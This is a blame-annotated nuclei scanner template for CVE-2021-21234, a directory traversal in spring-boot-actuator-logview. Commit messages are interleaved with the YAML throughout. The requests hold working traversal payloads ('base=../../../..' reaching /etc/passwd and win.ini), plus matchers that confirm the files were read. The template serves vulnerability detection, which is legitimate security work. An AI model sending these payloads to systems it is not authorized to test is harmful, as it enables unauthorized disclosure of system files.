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nuclei-templates/cves/2021/CVE-2021-21234.yaml

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Create CVE-2021-21234.yaml spring-boot-actuator-logview in a library that adds a simple logfile viewer as spring boot actuator endpoint. It is maven package "eu.hinsch:spring-boot-actuator-logview". In spring-boot-actuator-logview before version 0.2.13 there is a directory traversal vulnerability. The nature of this library is to expose a log file directory via admin (spring boot actuator) HTTP endpoints. Both the filename to view and a base folder (relative to the logging folder root) can be specified via request parameters. While the filename parameter was checked to prevent directory traversal exploits (so that `filename=../somefile` would not work), the base folder parameter was not sufficiently checked, so that `filename=somefile&base=../` could access a file outside the logging base directory). The vulnerability has been patched in release 0.2.13. Any users of 0.2.12 should be able to update without any issues as there are no other changes in that release. There is no workaround to fix the vulnerability other than updating or removing the dependency. However, removing read access of the user the application is run with to any directory not required for running the application can limit the impact. Additionally, access to the logview endpoint can be limited by deploying the application behind a reverse proxy. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-06-24 05:36:45 +00:00
id: CVE-2021-21234
info:
Dashboard Content Enhancements (#4031) Dashboard Content Enhancements
2022-04-07 13:53:15 +00:00
name: Spring Boot Actuator Logview Directory Traversal
Update CVE-2021-21234.yaml
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author: gy741,pikpikcu
Create CVE-2021-21234.yaml spring-boot-actuator-logview in a library that adds a simple logfile viewer as spring boot actuator endpoint. It is maven package "eu.hinsch:spring-boot-actuator-logview". In spring-boot-actuator-logview before version 0.2.13 there is a directory traversal vulnerability. The nature of this library is to expose a log file directory via admin (spring boot actuator) HTTP endpoints. Both the filename to view and a base folder (relative to the logging folder root) can be specified via request parameters. While the filename parameter was checked to prevent directory traversal exploits (so that `filename=../somefile` would not work), the base folder parameter was not sufficiently checked, so that `filename=somefile&base=../` could access a file outside the logging base directory). The vulnerability has been patched in release 0.2.13. Any users of 0.2.12 should be able to update without any issues as there are no other changes in that release. There is no workaround to fix the vulnerability other than updating or removing the dependency. However, removing read access of the user the application is run with to any directory not required for running the application can limit the impact. Additionally, access to the logview endpoint can be limited by deploying the application behind a reverse proxy. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-06-24 05:36:45 +00:00
severity: high
Dashboard Content Enhancements (#4031) Dashboard Content Enhancements
2022-04-07 13:53:15 +00:00
description: |
spring-boot-actuator-logview before version 0.2.13 contains a directory traversal vulnerability in libraries that adds a simple logfile viewer as a spring boot actuator endpoint (maven package "eu.hinsch:spring-boot-actuator-logview".
Update CVE-2021-21234.yaml
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reference:
Update CVE-2021-21234.yaml
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- https://blogg.pwc.no/styringogkontroll/unauthenticated-directory-traversal-vulnerability-in-a-java-spring-boot-actuator-library-cve-2021-21234
- https://github.com/cristianeph/vulnerability-actuator-log-viewer
Update CVE-2021-21234.yaml
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- https://nvd.nist.gov/vuln/detail/CVE-2021-21234
Added cve annotations + severity adjustments
2021-09-10 11:26:40 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
cvss-score: 7.70
cve-id: CVE-2021-21234
cwe-id: CWE-22
Dashboard Content Enhancements (#4031) Dashboard Content Enhancements
2022-04-07 13:53:15 +00:00
tags: cve,cve2021,springboot,lfi,actuator
Create CVE-2021-21234.yaml spring-boot-actuator-logview in a library that adds a simple logfile viewer as spring boot actuator endpoint. It is maven package "eu.hinsch:spring-boot-actuator-logview". In spring-boot-actuator-logview before version 0.2.13 there is a directory traversal vulnerability. The nature of this library is to expose a log file directory via admin (spring boot actuator) HTTP endpoints. Both the filename to view and a base folder (relative to the logging folder root) can be specified via request parameters. While the filename parameter was checked to prevent directory traversal exploits (so that `filename=../somefile` would not work), the base folder parameter was not sufficiently checked, so that `filename=somefile&base=../` could access a file outside the logging base directory). The vulnerability has been patched in release 0.2.13. Any users of 0.2.12 should be able to update without any issues as there are no other changes in that release. There is no workaround to fix the vulnerability other than updating or removing the dependency. However, removing read access of the user the application is run with to any directory not required for running the application can limit the impact. Additionally, access to the logview endpoint can be limited by deploying the application behind a reverse proxy. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-06-24 05:36:45 +00:00
requests:
- method: GET
path:
Dashboard Enhancements (#3722) * Enhancement: cves/2021/CVE-2021-1497.yaml by cs * Enhancement: cves/2010/CVE-2010-1957.yaml by mp * Enhancement: cves/2010/CVE-2010-1977.yaml by mp * Enhancement: cves/2010/CVE-2010-1979.yaml by mp * Enhancement: cves/2010/CVE-2010-1980.yaml by mp * Enhancement: cves/2010/CVE-2010-1981.yaml by mp * Enhancement: cves/2010/CVE-2010-1982.yaml by mp * Enhancement: cves/2010/CVE-2010-1983.yaml by mp * Enhancement: cves/2010/CVE-2010-2033.yaml by mp * Enhancement: cves/2010/CVE-2010-2034.yaml by mp * Enhancement: cves/2010/CVE-2010-2035.yaml by mp * Enhancement: cves/2010/CVE-2010-2036.yaml by mp * Enhancement: cves/2010/CVE-2010-2037.yaml by mp * Enhancement: cves/2010/CVE-2010-2045.yaml by mp * Enhancement: cves/2010/CVE-2010-2050.yaml by mp * Enhancement: cves/2010/CVE-2010-2122.yaml by mp * Enhancement: cves/2010/CVE-2010-1980.yaml by mp * Enhancement: cves/2010/CVE-2010-1981.yaml by mp * Enhancement: cves/2010/CVE-2010-1982.yaml by mp * Enhancement: cves/2010/CVE-2010-2035.yaml by mp * Enhancement: cves/2010/CVE-2010-2128.yaml by mp * Enhancement: cves/2010/CVE-2010-2259.yaml by mp * Enhancement: cves/2010/CVE-2010-2307.yaml by mp * Enhancement: cves/2010/CVE-2010-2507.yaml by mp * Enhancement: cves/2010/CVE-2010-2680.yaml by mp * Enhancement: cves/2010/CVE-2010-2682.yaml by mp * Enhancement: cves/2010/CVE-2010-2857.yaml by mp * Enhancement: cves/2010/CVE-2010-2861.yaml by mp * Enhancement: cves/2010/CVE-2010-2918.yaml by mp * Enhancement: cves/2010/CVE-2010-2920.yaml by mp * Enhancement: cves/2010/CVE-2010-3203.yaml by mp * Enhancement: cves/2010/CVE-2010-3426.yaml by mp * Enhancement: cves/2010/CVE-2010-4617.yaml by mp * Enhancement: cves/2010/CVE-2010-4231.yaml by mp * Enhancement: cves/2010/CVE-2010-4282.yaml by mp * Enhancement: cves/2010/CVE-2010-4282.yaml by mp * Enhancement: cves/2010/CVE-2010-4617.yaml by mp * Enhancement: cves/2010/CVE-2010-4719.yaml by mp * Enhancement: cves/2010/CVE-2010-4769.yaml by mp * Enhancement: cves/2010/CVE-2010-4977.yaml by mp * Enhancement: cves/2010/CVE-2010-5028.yaml by mp * Enhancement: cves/2010/CVE-2010-5278.yaml by mp * Enhancement: cves/2010/CVE-2010-5286.yaml by mp * Enhancement: cves/2011/CVE-2011-0049.yaml by mp * Enhancement: cves/2011/CVE-2011-1669.yaml by mp * Enhancement: cves/2011/CVE-2011-2744.yaml by mp * Enhancement: cves/2000/CVE-2000-0114.yaml by mp * Enhancement: cves/2011/CVE-2011-3315.yaml by mp * Enhancement: cves/2011/CVE-2011-4336.yaml by mp * Enhancement: cves/2011/CVE-2011-4618.yaml by mp * Enhancement: cves/2011/CVE-2011-4624.yaml by mp * Enhancement: cves/2011/CVE-2011-4804.yaml by mp * Enhancement: cves/2011/CVE-2011-0049.yaml by mp * Enhancement: cves/2011/CVE-2011-2780.yaml by mp * Enhancement: cves/2011/CVE-2011-2780.yaml by mp * Enhancement: cves/2012/CVE-2012-1823.yaml by mp * Enhancement: cves/2012/CVE-2012-0392.yaml by mp * Enhancement: cves/2012/CVE-2012-1226.yaml by mp * Enhancement: cves/2012/CVE-2012-0996.yaml by mp * Enhancement: cves/2021/CVE-2021-39226.yaml by cs * Enhancement: cves/2021/CVE-2021-27358.yaml by cs * Enhancement: cves/2021/CVE-2021-43798.yaml by cs * Enhancement: cves/2021/CVE-2021-43798.yaml by cs * Enhancement: cves/2021/CVE-2021-43798.yaml by cs * Enhancement: cves/2012/CVE-2012-1835.yaml by mp * Enhancement: cves/2012/CVE-2012-0901.yaml by mp * Enhancement: cves/2011/CVE-2011-5265.yaml by mp * Enhancement: cves/2011/CVE-2011-5181.yaml by mp * Enhancement: cves/2011/CVE-2011-5179.yaml by mp * Enhancement: cves/2011/CVE-2011-5107.yaml by mp * Enhancement: cves/2011/CVE-2011-5106.yaml by mp * Enhancement: cves/2011/CVE-2011-4926.yaml by mp * Enhancement: cves/2012/CVE-2012-0991.yaml by mp * Enhancement: cves/2012/CVE-2012-0981.yaml by mp * Enhancement: cves/2012/CVE-2012-0896.yaml by mp * Enhancement: cves/2012/CVE-2012-0392.yaml by mp * Enhancement: cves/2012/CVE-2012-0392.yaml by mp Fix "too few spaces before comment" lint errors Co-authored-by: sullo <sullo@cirt.net>
2022-02-21 18:33:16 +00:00
- "{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" # Windows
- "{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" # Windows
- "{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../" # linux
- "{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../" # linux
Create CVE-2021-21234.yaml spring-boot-actuator-logview in a library that adds a simple logfile viewer as spring boot actuator endpoint. It is maven package "eu.hinsch:spring-boot-actuator-logview". In spring-boot-actuator-logview before version 0.2.13 there is a directory traversal vulnerability. The nature of this library is to expose a log file directory via admin (spring boot actuator) HTTP endpoints. Both the filename to view and a base folder (relative to the logging folder root) can be specified via request parameters. While the filename parameter was checked to prevent directory traversal exploits (so that `filename=../somefile` would not work), the base folder parameter was not sufficiently checked, so that `filename=somefile&base=../` could access a file outside the logging base directory). The vulnerability has been patched in release 0.2.13. Any users of 0.2.12 should be able to update without any issues as there are no other changes in that release. There is no workaround to fix the vulnerability other than updating or removing the dependency. However, removing read access of the user the application is run with to any directory not required for running the application can limit the impact. Additionally, access to the logview endpoint can be limited by deploying the application behind a reverse proxy. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-06-24 05:36:45 +00:00
Request: Fix CVE-2021-21234 (#3920) * Fixed CVE-2019-9670 * more strict matchers * Fix CVE-2021-21234 * more strict matcher Co-authored-by: sandeep <sandeep@projectdiscovery.io>
2022-03-17 09:29:53 +00:00
stop-at-first-match: true
Update CVE-2021-21234.yaml
2021-08-24 08:46:14 +00:00
matchers-condition: or
Create CVE-2021-21234.yaml spring-boot-actuator-logview in a library that adds a simple logfile viewer as spring boot actuator endpoint. It is maven package "eu.hinsch:spring-boot-actuator-logview". In spring-boot-actuator-logview before version 0.2.13 there is a directory traversal vulnerability. The nature of this library is to expose a log file directory via admin (spring boot actuator) HTTP endpoints. Both the filename to view and a base folder (relative to the logging folder root) can be specified via request parameters. While the filename parameter was checked to prevent directory traversal exploits (so that `filename=../somefile` would not work), the base folder parameter was not sufficiently checked, so that `filename=somefile&base=../` could access a file outside the logging base directory). The vulnerability has been patched in release 0.2.13. Any users of 0.2.12 should be able to update without any issues as there are no other changes in that release. There is no workaround to fix the vulnerability other than updating or removing the dependency. However, removing read access of the user the application is run with to any directory not required for running the application can limit the impact. Additionally, access to the logview endpoint can be limited by deploying the application behind a reverse proxy. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-06-24 05:36:45 +00:00
matchers:
Request: Fix CVE-2021-21234 (#3920) * Fixed CVE-2019-9670 * more strict matchers * Fix CVE-2021-21234 * more strict matcher Co-authored-by: sandeep <sandeep@projectdiscovery.io>
2022-03-17 09:29:53 +00:00
- type: dsl
dsl:
Updated "/etc/passwd" regex to avoid possible false positive results.
2022-03-22 08:01:31 +00:00
- "regex('root:.*:0:0:', body)"
Request: Fix CVE-2021-21234 (#3920) * Fixed CVE-2019-9670 * more strict matchers * Fix CVE-2021-21234 * more strict matcher Co-authored-by: sandeep <sandeep@projectdiscovery.io>
2022-03-17 09:29:53 +00:00
- "status_code == 200"
Update CVE-2021-21234.yaml
2021-08-24 08:46:14 +00:00
condition: and
Request: Fix CVE-2021-21234 (#3920) * Fixed CVE-2019-9670 * more strict matchers * Fix CVE-2021-21234 * more strict matcher Co-authored-by: sandeep <sandeep@projectdiscovery.io>
2022-03-17 09:29:53 +00:00
- type: dsl
dsl:
- "contains(body, 'bit app support')"
- "contains(body, 'fonts')"
- "contains(body, 'extensions')"
- "status_code == 200"
Dashboard Content Enhancements (#4031) Dashboard Content Enhancements
2022-04-07 13:53:15 +00:00
condition: and
# Enhanced by mp on 2022/04/01